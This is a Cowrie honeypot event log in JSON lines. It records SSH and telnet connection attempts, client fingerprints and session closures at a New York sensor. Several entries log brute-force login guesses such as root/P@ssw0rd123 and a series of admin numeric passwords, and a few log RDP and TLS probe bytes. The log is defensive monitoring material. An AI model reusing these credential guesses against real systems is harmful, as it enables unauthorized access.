{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":60967,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d657da66799","protocol":"telnet","message":"New connection: 186.195.16.41:60967 (159.203.135.109:23) [session: 0d657da66799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:06.756574Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":50111,"dst_ip":"159.203.135.109","dst_port":22,"session":"961cdf3ca15a","protocol":"ssh","message":"New connection: 103.219.170.37:50111 (159.203.135.109:22) [session: 961cdf3ca15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:10.860244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:10.865963Z","src_ip":"103.219.170.37","session":"961cdf3ca15a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:10.941052Z","src_ip":"103.219.170.37","session":"961cdf3ca15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:11.175349Z","src_ip":"103.219.170.37","session":"961cdf3ca15a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.412222146987915,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:11.370479Z","src_ip":"192.119.13.58","session":"3979c594fea7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:12.251546Z","src_ip":"103.219.170.37","session":"961cdf3ca15a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.147","src_port":60765,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d7080f1aebe","protocol":"ssh","message":"New connection: 91.230.168.147:60765 (10.17.0.5:22) [session: 0d7080f1aebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:17.438639Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:17.462070Z","src_ip":"91.230.168.147","session":"0d7080f1aebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.146","src_port":58895,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f8ff64d9f58","protocol":"ssh","message":"New connection: 91.230.168.146:58895 (10.17.0.5:22) [session: 4f8ff64d9f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:17.534151Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55062,"dst_ip":"10.17.0.5","dst_port":23,"session":"2218a2e5580b","protocol":"telnet","message":"New connection: 192.119.13.58:55062 (10.17.0.5:23) [session: 2218a2e5580b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:21.307583Z"}
{"eventid":"cowrie.session.closed","duration":51.1563606262207,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:25.542096Z","src_ip":"192.119.13.58","session":"0e4f1aad3ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:27.701305Z","src_ip":"91.230.168.146","session":"4f8ff64d9f58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.186.81.107","src_port":38524,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b59a0000007","protocol":"telnet","message":"New connection: 109.186.81.107:38524 (159.203.135.109:23) [session: 3b59a0000007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:34.677575Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56327,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e00e972a81d","protocol":"ssh","message":"New connection: 167.172.81.52:56327 (159.203.135.109:22) [session: 3e00e972a81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:35.164337Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:35.169238Z","src_ip":"167.172.81.52","session":"3e00e972a81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:35.172784Z","src_ip":"167.172.81.52","session":"3e00e972a81d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.150","src_port":52169,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cf43f862f73","protocol":"ssh","message":"New connection: 91.230.168.150:52169 (10.17.0.5:22) [session: 8cf43f862f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:38.468984Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003\\xea?r\u001e\\xc0\\xa7\\xd3\\xd3\u001f\u0014\\xdaQ:(h8\\xfb\\xc7\rV\\x9d\\x83H6\\xdd\\xe8\u001eom\\xe1\\x96< \u001dx\\xef|5\\xbdr>m\\xde\\xce\u0017\\xf61\\xab\u00102-\f\u02b0\u309a/r\u001f\bo\\x9f\\x972\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","message":"Remote SSH version: \u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003\\xea?r\u001e\\xc0\\xa7\\xd3\\xd3\u001f\u0014\\xdaQ:(h8\\xfb\\xc7\rV\\x9d\\x83H6\\xdd\\xe8\u001eom\\xe1\\x96< \u001dx\\xef|5\\xbdr>m\\xde\\xce\u0017\\xf61\\xab\u00102-\f\u02b0\u309a/r\u001f\bo\\x9f\\x972\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:38.473820Z","src_ip":"91.230.168.150","session":"8cf43f862f73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:38.477262Z","src_ip":"91.230.168.150","session":"8cf43f862f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.71","src_port":59647,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc85f32e0a84","protocol":"ssh","message":"New connection: 91.230.168.71:59647 (10.17.0.5:22) [session: fc85f32e0a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:38.620384Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:41.626298Z","src_ip":"91.230.168.71","session":"fc85f32e0a84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58840,"dst_ip":"159.203.135.109","dst_port":22,"session":"c514efbb8d1c","protocol":"ssh","message":"New connection: 103.176.20.57:58840 (159.203.135.109:22) [session: c514efbb8d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:47.537691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:47.542604Z","src_ip":"103.176.20.57","session":"c514efbb8d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:47.791078Z","src_ip":"103.176.20.57","session":"c514efbb8d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.772475957870483,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:48.449928Z","src_ip":"109.186.81.107","session":"3b59a0000007","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfrfhjdf","message":"login attempt [root/vfrfhjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:48.539171Z","src_ip":"103.176.20.57","session":"c514efbb8d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:49.790071Z","src_ip":"103.176.20.57","session":"c514efbb8d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35968,"dst_ip":"10.17.0.5","dst_port":23,"session":"eca752fe6f60","protocol":"telnet","message":"New connection: 192.119.13.58:35968 (10.17.0.5:23) [session: eca752fe6f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:53.392905Z"}
{"eventid":"cowrie.session.closed","duration":46.9782292842865,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:53.734679Z","src_ip":"186.195.16.41","session":"0d657da66799","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"13.218.97.192","src_port":49616,"dst_ip":"10.17.0.5","dst_port":22,"session":"67c7c1951aa0","protocol":"ssh","message":"New connection: 13.218.97.192:49616 (10.17.0.5:22) [session: 67c7c1951aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:54.267897Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39332,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ef172cfa20d","protocol":"telnet","message":"New connection: 192.119.13.58:39332 (10.17.0.5:23) [session: 7ef172cfa20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:54.392073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:55.222070Z","src_ip":"13.218.97.192","session":"67c7c1951aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:55.226508Z","src_ip":"13.218.97.192","session":"67c7c1951aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.589924335479736,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:55.897391Z","src_ip":"192.119.13.58","session":"2218a2e5580b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:56.615347Z","src_ip":"13.218.97.192","session":"67c7c1951aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":14348,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f786ce0878b","protocol":"ssh","message":"New connection: 2.57.121.112:14348 (10.17.0.5:22) [session: 9f786ce0878b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:57.643625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:57.648439Z","src_ip":"2.57.121.112","session":"9f786ce0878b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:57.752361Z","src_ip":"2.57.121.112","session":"9f786ce0878b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":51086,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f9a6ba477ea","protocol":"ssh","message":"New connection: 103.183.114.55:51086 (159.203.135.109:22) [session: 6f9a6ba477ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:58.216058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:58.221069Z","src_ip":"103.183.114.55","session":"6f9a6ba477ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280583","message":"login attempt [admin/280583] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:58.243366Z","src_ip":"2.57.121.112","session":"9f786ce0878b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:58.443511Z","src_ip":"103.183.114.55","session":"6f9a6ba477ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfczdfcz","message":"login attempt [root/dfczdfcz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:59.103598Z","src_ip":"103.183.114.55","session":"6f9a6ba477ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280577","message":"login attempt [admin/280577] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:06:59.350024Z","src_ip":"2.57.121.112","session":"9f786ce0878b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:00.327461Z","src_ip":"103.183.114.55","session":"6f9a6ba477ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280485","message":"login attempt [admin/280485] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:00.457912Z","src_ip":"2.57.121.112","session":"9f786ce0878b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28041974","message":"login attempt [admin/28041974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:01.565861Z","src_ip":"2.57.121.112","session":"9f786ce0878b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280281","message":"login attempt [admin/280281] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:02.673191Z","src_ip":"2.57.121.112","session":"9f786ce0878b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:03.781651Z","src_ip":"2.57.121.112","session":"9f786ce0878b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42962,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b8d8357a702","protocol":"telnet","message":"New connection: 192.119.13.58:42962 (10.17.0.5:23) [session: 6b8d8357a702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:07:18.894553Z"}
